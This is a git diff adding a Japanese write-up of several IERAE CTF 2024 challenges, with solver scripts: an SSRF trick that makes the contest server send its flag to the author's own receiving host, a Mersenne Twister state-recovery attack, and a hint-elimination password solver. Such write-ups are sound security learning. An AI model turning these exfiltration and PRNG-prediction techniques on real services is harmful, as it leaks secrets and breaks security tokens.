c21c5785b5a306c7b47d3961a47e3898b76daae2
ctf/IERAE CTF 2024 writeup.md
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| 1 | +IERAE CTFは初参加です。楽しかった！ |
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| 2 | + |
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| 3 | +チーム名: `at24`, ユーザ名: `takanotume24`で参加しました。 |
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| 4 | + |
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| 5 | +## Futari APIs |
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| 6 | +`frontend.ts`の |
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| 7 | +```javascript |
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| 8 | + const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI); |
|
| 9 | +``` |
|
| 10 | +としているところが怪しそう。 |
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| 11 | + |
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| 12 | +JavaScriptのURLオブジェクトのコンストラクタ`new URL(url, base)`は url が絶対URL である場合、指定されたbase は無視するらしく(なぜ??)、urlに絶対URLを指定すればいいことがわかる。 |
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| 13 | + |
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| 14 | +参考: <https://developer.mozilla.org/ja/docs/Web/API/URL/URL> |
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| 15 | + |
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| 16 | +直後に |
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| 17 | +```javascript |
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| 18 | + return await fetch(uri); |
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| 19 | +``` |
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| 20 | +があるため、外部のホストへリクエストが飛ばせそう。 |
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| 21 | +denoではデフォルトではネットワークアクセスができないが、今回は`--allow-net`オプションが付いているため許可されている。。 |
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| 22 | + |
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| 23 | +CTFの競技サーバを`192.0.2.1:3000`, 自分で用意した受信用サーバを`192.0.2.2:3000`とすると、 |
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| 24 | + |
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| 25 | +```bash |
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| 26 | +curl "192.0.2.1:3000/search?user=http%3A%2F%2F192.0.2.2%3000" |
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| 27 | +``` |
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| 28 | + |
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| 29 | +で`192.0.2.2:3000`に向けてFLAG付きのリクエストが飛んでくる。 |
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| 30 | + |
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| 31 | +### Weak PRNG |
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| 32 | +<https://zenn.dev/hk_ilohas/articles/mersenne-twister-previous-state>のプログラムを拝借したところそのまま動作した。 |
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| 33 | + |
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| 34 | +- `io_lib.py` |
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| 35 | + |
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| 36 | + ```python |
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| 37 | + import subprocess |
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| 38 | + import string |
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| 39 | + |
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| 40 | + def read_output( |
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| 41 | + process: subprocess.Popen, |
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| 42 | + expected_prompts: int, |
|
| 43 | + ) -> list[int]: |
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| 44 | + generator_output_list: list[int] = [] |
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| 45 | + |
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| 46 | + for _ in range(expected_prompts): |
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| 47 | + stdout = process.stdout |
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| 48 | + |
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| 49 | + if stdout is None: |
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| 50 | + raise Exception() |
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| 51 | + |
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| 52 | + output = stdout.readline().strip() |
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| 53 | + if output: |
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| 54 | + print(output) |
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| 55 | + output = output.replace(' ', '') |
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| 56 | + |
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| 57 | + if output.isdigit(): |
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| 58 | + generator_output_list.append(int(output)) |
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| 59 | + |
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| 60 | + if expected_prompts >= 16: |
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| 61 | + size = len(generator_output_list) |
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| 62 | + if not size == 16: |
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| 63 | + raise Exception(size) |
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| 64 | + |
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| 65 | + return generator_output_list |
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| 66 | + ``` |
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| 67 | + |
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| 68 | +- `lib.py` |
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| 69 | + |
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| 70 | + ```python |
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| 71 | + # https://zenn.dev/hk_ilohas/articles/mersenne-twister-previous-state より引用 |
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| 72 | + |
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| 73 | + def untemper(x): |
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| 74 | + x = unBitshiftRightXor(x, 18) |
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| 75 | + x = unBitshiftLeftXor(x, 15, 0xefc60000) |
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| 76 | + x = unBitshiftLeftXor(x, 7, 0x9d2c5680) |
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| 77 | + x = unBitshiftRightXor(x, 11) |
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| 78 | + return x |
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| 79 | + |
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| 80 | + |
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| 81 | + def unBitshiftRightXor(x, shift): |
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| 82 | + i = 1 |
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| 83 | + y = x |
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| 84 | + while i * shift < 32: |
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| 85 | + z = y >> shift |
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| 86 | + y = x ^ z |
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| 87 | + i += 1 |
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| 88 | + return y |
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| 89 | + |
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| 90 | + |
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| 91 | + def unBitshiftLeftXor(x, shift, mask): |
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| 92 | + i = 1 |
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| 93 | + y = x |
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| 94 | + while i * shift < 32: |
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| 95 | + z = y << shift |
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| 96 | + y = x ^ (z & mask) |
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| 97 | + i += 1 |
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| 98 | + return y |
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| 99 | + |
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| 100 | + |
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| 101 | + def get_prev_state(state): |
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| 102 | + for i in range(623, -1, -1): |
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| 103 | + result = 0 |
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| 104 | + tmp = state[i] |
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| 105 | + tmp ^= state[(i + 397) % 624] |
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| 106 | + if ((tmp & 0x80000000) == 0x80000000): |
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| 107 | + tmp ^= 0x9908b0df |
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| 108 | + result = (tmp << 1) & 0x80000000 |
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| 109 | + tmp = state[(i - 1 + 624) % 624] |
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| 110 | + tmp ^= state[(i + 396) % 624] |
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| 111 | + if ((tmp & 0x80000000) == 0x80000000): |
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| 112 | + tmp ^= 0x9908b0df |
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| 113 | + result |= 1 |
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| 114 | + result |= (tmp << 1) & 0x7fffffff |
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| 115 | + state[i] = result |
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| 116 | + return state |
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| 117 | + ``` |
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| 118 | + |
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| 119 | +- `predict_secret.py` |
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| 120 | + |
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| 121 | + ```python |
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| 122 | + from lib import untemper, get_prev_state |
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| 123 | + import random |
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| 124 | + |
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| 125 | + def predict_secret( |
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| 126 | + xs1: list[int], |
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| 127 | + n: int, |
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| 128 | + ): |
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| 129 | + mt_state = [untemper(x) for x in xs1] |
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| 130 | + prev_mt_state = get_prev_state(mt_state) |
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| 131 | + random.setstate((3, tuple(prev_mt_state + [0]), None)) |
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| 132 | + |
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| 133 | + predicted = [random.getrandbits(32) for _ in range(n)] |
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| 134 | + return predicted[623] |
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| 135 | + ``` |
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| 136 | + |
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| 137 | +- `solver.py` |
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| 138 | + |
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| 139 | + ```python |
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| 140 | + import subprocess |
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| 141 | + from io_lib import read_output |
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| 142 | + from predict_secret import predict_secret |
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| 143 | + |
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| 144 | + |
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| 145 | + if __name__ == '__main__': |
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| 146 | + process = subprocess.Popen( |
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| 147 | + # ['python3', '../challenge.py'], |
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| 148 | + ['nc', '35.201.137.32', '19937'], |
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| 149 | + stdin=subprocess.PIPE, |
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| 150 | + stdout=subprocess.PIPE, |
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| 151 | + stderr=subprocess.PIPE, |
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| 152 | + text=True |
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| 153 | + ) |
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| 154 | + |
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| 155 | + read_output( |
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| 156 | + process=process, |
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| 157 | + expected_prompts=7, |
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| 158 | + ) |
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| 159 | + |
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| 160 | + stdin = process.stdin |
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| 161 | + if stdin is None: |
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| 162 | + raise Exception() |
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| 163 | + |
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| 164 | + generator_output_list: list[int] = [] |
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| 165 | + |
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| 166 | + for i in range(40): |
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| 167 | + stdin.write('1' + '\n') |
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| 168 | + stdin.flush() |
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| 169 | + generator_output_list = generator_output_list + read_output( |
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| 170 | + process=process, |
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| 171 | + expected_prompts=23, |
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| 172 | + ) |
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| 173 | + print(generator_output_list) |
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| 174 | + |
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| 175 | + predicted_secret = predict_secret( |
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| 176 | + xs1=generator_output_list[:624], |
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| 177 | + n=624, |
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| 178 | + ) |
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| 179 | + |
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| 180 | + print(predicted_secret) |
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| 181 | + |
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| 182 | + |
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| 183 | + stdin.write(f'2' + '\n') |
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| 184 | + stdin.flush() |
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| 185 | + generator_output_list = generator_output_list + read_output( |
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| 186 | + process=process, |
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| 187 | + expected_prompts=2, |
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| 188 | + ) |
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| 189 | + |
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| 190 | + stdin.write(f'{predicted_secret}' + '\n') |
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| 191 | + stdin.flush() |
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| 192 | + generator_output_list = generator_output_list + read_output( |
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| 193 | + process=process, |
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| 194 | + expected_prompts=2, |
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| 195 | + ) |
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| 196 | + ``` |
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| 197 | + |
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| 198 | + |
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| 199 | +## babewaf |
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| 200 | +解けなかったけどいくつか勉強になったことがあるのでメモ。 |
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| 201 | +- expressはデフォルトでルーティングの際にキャピタライズを考慮しない。 |
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| 202 | + - <https://stackoverflow.com/questions/21216523/nodejs-express-case-sensitive-urls> |
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| 203 | + - `/GIVEMEFLAG`でexpressを貫通させて、なんとかHonoに拾わせるのだと思っていた。 |
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| 204 | +- expressでは正規表現の*文字は通常の方法で解釈されない。 |
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| 205 | + - <https://expressjs.com/ja/guide/routing.html> |
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| 206 | + > Express 4.xでは、正規表現の*文字は通常の方法で解釈されません。回避策として、*の代わりに{0,}を使用してください。これは、Express 5で修正される可能性があります。 |
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| 207 | + - <https://github.com/expressjs/express/issues/2495> |
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| 208 | + - 以下のルーティングに問題があるのではないかと疑っていた。 |
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| 209 | + ``` |
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| 210 | + app.get( |
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| 211 | + "*", |
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| 212 | + createProxyMiddleware({ |
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| 213 | + target: BACKEND, |
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| 214 | + }), |
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| 215 | + ); |
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| 216 | + ``` |
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| 217 | + |
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| 218 | +## derangement |
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| 219 | + |
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| 220 | +- `candidate_char_set`: ヒント文字列で出現した全ての文字の集合 |
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| 221 | +- `appeared_char_set_dict[i]`: ヒント文字列のi文字目に出現した全ての文字の集合 |
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| 222 | + |
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| 223 | +とすると、`candidate_char_set`の中から、`appeared_char_set_dict[i]`を削除するとi文字目の文字だけが残る。 |
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| 224 | + |
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| 225 | +競技サーバを`192.0.2.1:55555`, とする。 |
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| 226 | + |
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| 227 | +```python |
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| 228 | +import subprocess |
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| 229 | +import string |
|
| 230 | + |
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| 231 | +def read_output( |
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| 232 | + process: subprocess.Popen, |
|
| 233 | + expected_prompts: int, |
|
| 234 | + hint_list: list[str], |
|
| 235 | + ) -> list[str]: |
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| 236 | + |
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| 237 | + for _ in range(expected_prompts): |
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| 238 | + stdout = process.stdout |
|
| 239 | + |
|
| 240 | + if stdout is None: |
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| 241 | + raise Exception() |
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| 242 | + |
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| 243 | + output = stdout.readline().strip() |
|
| 244 | + if output: |
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| 245 | + print(output) |
|
| 246 | + |
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| 247 | + if 'hint: ' in output: |
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| 248 | + hint_str = output.replace('> hint: ', '') |
|
| 249 | + hint_list.append(hint_str) |
|
| 250 | + |
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| 251 | + return hint_list |
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| 252 | + |
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| 253 | +def remove_from_charset( |
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| 254 | + hint_char_set: set[str], |
|
| 255 | +) -> set[str]: |
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| 256 | + CHAR_SET = string.ascii_letters + string.digits + string.punctuation |
|
| 257 | + CHAR_SET = set(CHAR_SET) |
|
| 258 | + |
|
| 259 | + remained_char_set = CHAR_SET |
|
| 260 | + |
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| 261 | + for hint_char in hint_char_set: |
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| 262 | + remained_char_set.remove(hint_char) |
|
| 263 | + |
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| 264 | + return remained_char_set |
|
| 265 | + |
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| 266 | +def get_char_set_at_n_from_hint_list( |
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| 267 | + hint_list: list[str], |
|
| 268 | + index: int, |
|
| 269 | +) -> set[str]: |
|
| 270 | + appeared_char_set = set() |
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| 271 | + for hint_str in hint_list: |
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| 272 | + hint_char = hint_str[index] |
|
| 273 | + appeared_char_set.add(hint_char) |
|
| 274 | + |
|
| 275 | + return appeared_char_set |
|
| 276 | + |
|
| 277 | +def main(): |
|
| 278 | + process = subprocess.Popen( |
|
| 279 | + # ['python3', '../challenge.py'], |
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| 280 | + ['nc','192.0.2.1','55555'], |
|
| 281 | + stdin=subprocess.PIPE, |
|
| 282 | + stdout=subprocess.PIPE, |
|
| 283 | + stderr=subprocess.PIPE, |
|
| 284 | + text=True |
|
| 285 | + ) |
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| 286 | + |
|
| 287 | + |
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| 288 | + hint_list:list[str] = [] |
|
| 289 | + hint_list = read_output( |
|
| 290 | + process=process, |
|
| 291 | + expected_prompts=8, |
|
| 292 | + hint_list=hint_list, |
|
| 293 | + ) |
|
| 294 | + |
|
| 295 | + print(hint_list) |
|
| 296 | + |
|
| 297 | + |
|
| 298 | + for i in range(290): |
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| 299 | + commands = ['1'] |
|
| 300 | + for command in commands: |
|
| 301 | + stdin = process.stdin |
|
| 302 | + if stdin is None: |
|
| 303 | + raise Exception() |
|
| 304 | + |
|
| 305 | + stdin.write(command + '\n') |
|
| 306 | + stdin.flush() |
|
| 307 | + read_output( |
|
| 308 | + process=process, |
|
| 309 | + expected_prompts=3, |
|
| 310 | + hint_list=hint_list, |
|
| 311 | + ) |
|
| 312 | + |
|
| 313 | + print(hint_list) |
|
| 314 | + candidate_char_set = set() |
|
| 315 | + appeared_char_set_dict: dict[int, set[str]] = {} |
|
| 316 | + for i in range(15): |
|
| 317 | + appeared_char_set = get_char_set_at_n_from_hint_list( |
|
| 318 | + hint_list=hint_list, |
|
| 319 | + index=i, |
|
| 320 | + ) |
|
| 321 | + s = ''.join(sorted(appeared_char_set)) |
|
| 322 | + print(s, len(s)) |
|
| 323 | + |
|
| 324 | + candidate_char_set = candidate_char_set | appeared_char_set |
|
| 325 | + appeared_char_set_dict[i] = appeared_char_set |
|
| 326 | + |
|
| 327 | + print(candidate_char_set) |
|
| 328 | + |
|
| 329 | + answer= '' |
|
| 330 | + for index, appeared_char_set in appeared_char_set_dict.items(): |
|
| 331 | + s = (candidate_char_set - appeared_char_set).pop() |
|
| 332 | + answer = answer + s |
|
| 333 | + |
|
| 334 | + print(f'SOLVED!!: {answer}') |
|
| 335 | + |
|
| 336 | + stdin.write('2' + '\n') |
|
| 337 | + stdin.flush() |
|
| 338 | + read_output( |
|
| 339 | + process=process, |
|
| 340 | + expected_prompts=2, |
|
| 341 | + hint_list=hint_list, |
|
| 342 | + ) |
|
| 343 | + |
|
| 344 | + stdin.write(answer + '\n') |
|
| 345 | + stdin.flush() |
|
| 346 | + |
|
| 347 | + read_output( |
|
| 348 | + process=process, |
|
| 349 | + expected_prompts=3, |
|
| 350 | + hint_list=hint_list, |
|
| 351 | + ) |
|
| 352 | + |
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| 353 | + |
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| 354 | + # 終了処理 |
|
| 355 | + process.stdin.close() |
|
| 356 | + process.stdout.close() |
|
| 357 | + process.stderr.close() |
|
| 358 | + process.wait() |
|
| 359 | + |
|
| 360 | +if __name__ == "__main__": |
|
| 361 | + main() |
|
| 362 | +``` |